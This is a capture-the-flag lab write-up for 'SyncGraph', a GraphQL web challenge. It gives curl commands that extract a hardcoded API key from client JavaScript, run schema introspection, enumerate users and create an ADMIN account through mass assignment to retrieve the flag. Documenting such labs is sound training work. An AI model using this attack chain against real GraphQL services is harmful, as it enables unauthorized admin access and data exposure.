SyncGraph
SyncGraph
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-14 | Status: Solved Techniques: api_key_extraction_from_client_js, authorization_bypass, graphql_introspection, mass_assignment_role_escalation, user_enumeration
Summary
Task: GraphQL API management platform with broken authentication — API key leaked in client-side JS, introspection enabled, and createUser mutation allows mass assignment of admin role. Solution: Extract API key from /js/playground.js, enumerate schema via introspection, create admin user via mass assignment on createUser mutation, query adminSettings for the flag.
SyncGraph — HackAdvisor Lab 289
Description
SyncGraph is a GraphQL API management platform built by GraphWave Technologies. It lets teams design, deploy, and monitor their GraphQL APIs through a unified gateway. The platform features an interactive API playground, team workspaces, usage analytics, and auto-generated documentation. The goal is to find and exploit weaknesses in the application's authentication and authorization model to gain admin access and retrieve the flag.
English summary: Express.js web application with a GraphQL API backend. Authentication uses API keys (x-api-key header) and JWT tokens. The goal is to escalate from a regular user to admin and retrieve the flag from admin-only settings.
Analysis
The application is an Express.js server with a GraphQL endpoint at /graphql. Authentication is two-layered: an API key (x-api-key header) gates access to the GraphQL endpoint itself, while JWT tokens (Authorization: Bearer) control role-based access to specific queries like adminSettings.
Key findings during reconnaissance:
-
API Key Leak: The playground page at
/playgroundloads/js/playground.js, which contains a hardcoded API key in thePLAYGROUND_CONFIGobject:sgk_live_51Hx3RqK9vLm7Wp4YzTnBcXdJf8GhNs2AeQwU6. This key is used by the client-sideexecuteQuery()function. -
Introspection Enabled: With the leaked API key, full GraphQL schema introspection is possible, revealing all queries (
me,workspace,myWorkspace,queryLogs,apiUsageStats,listAllUsers,adminSettings), mutations (login,createUser,updateProfile,deleteQueryLog,inviteTeamMember), and types. -
Broken Access Control: The
listAllUsersquery is accessible without admin role, leaking all 8 users includingadmin@graphwave.io(Marcus Chen, role: ADMIN). -
Mass Assignment: The
createUsermutation accepts an optionalroleparameter (type: String, nullable) with no authorization check — any authenticated user can create a new user withADMINrole. -
Decoy Flag:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}was embedded in HTML comments and hidden divs on every page as a honeypot for automated scanners.
Solution
Step 1: Extract API Key from Client-Side JavaScript
bash read-only • copy allowedTARGET="https://70b4b3f7-f1f3-42e2-9d76-1487b0e85935.labs.hackadvisor.io" curl -s "$TARGET/js/playground.js" | grep -o "sgk_[a-zA-Z0-9_]*" # Output: sgk_live_51Hx3RqK9vLm7Wp4YzTnBcXdJf8GhNs2AeQwU6 API_KEY="sgk_live_51Hx3RqK9vLm7Wp4YzTnBcXdJf8GhNs2AeQwU6"
Step 2: Enumerate GraphQL Schema via Introspection
bash read-only • copy allowedcurl -s "$TARGET/graphql" -H "Content-Type: application/json" \ -H "x-api-key: $API_KEY" \ -d '{"query":"{ __schema { queryType { fields { name } } mutationType { fields { name } } } }"}' | python3 -m json.tool
This reveals queries including listAllUsers and adminSettings, and mutations including createUser with an optional role parameter.
Step 3: Enumerate Users (Information Disclosure)
bash read-only • copy allowedcurl -s "$TARGET/graphql" -H "Content-Type: application/json" \ -H "x-api-key: $API_KEY" \ -d '{"query":"{ listAllUsers { id email fullName role } }"}' | python3 -m json.tool
Reveals 8 users including admin: admin@graphwave.io (Marcus Chen, role: ADMIN).
Step 4: Create Admin User via Mass Assignment
bash read-only • copy allowedcurl -s "$TARGET/graphql" -H "Content-Type: application/json" \ -H "x-api-key: $API_KEY" \ -d '{"query":"mutation { createUser(username: \"hacker\", email: \"hacker@test.com\", password: \"hacker123\", fullName: \"Hacker Admin\", role: \"ADMIN\") { id email fullName role } }"}' | python3 -m json.tool
Response confirms "role": "ADMIN" — privilege escalation successful.
Step 5: Login as Admin and Retrieve Flag
bash read-only • copy allowed# Get admin JWT curl -s "$TARGET/graphql" -H "Content-Type: application/json" \ -H "x-api-key: $API_KEY" \ -d '{"query":"mutation { login(email: \"hacker@test.com\", password: \"hacker123\") { token user { id email role } } }"}' | python3 -m json.tool # Use admin JWT to query adminSettings ADMIN_TOKEN="<jwt_from_login>" curl -s "$TARGET/graphql" -H "Content-Type: application/json" \ -H "x-api-key: $API_KEY" \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -d '{"query":"{ adminSettings { settingKey settingValue description } }"}' | python3 -m json.tool
Response includes the flag:
json read-only • copy allowed{ "settingKey": "platform_secret_key", "settingValue": "FLAG{REDACTED}", "description": "Master platform secret key - DO NOT SHARE" }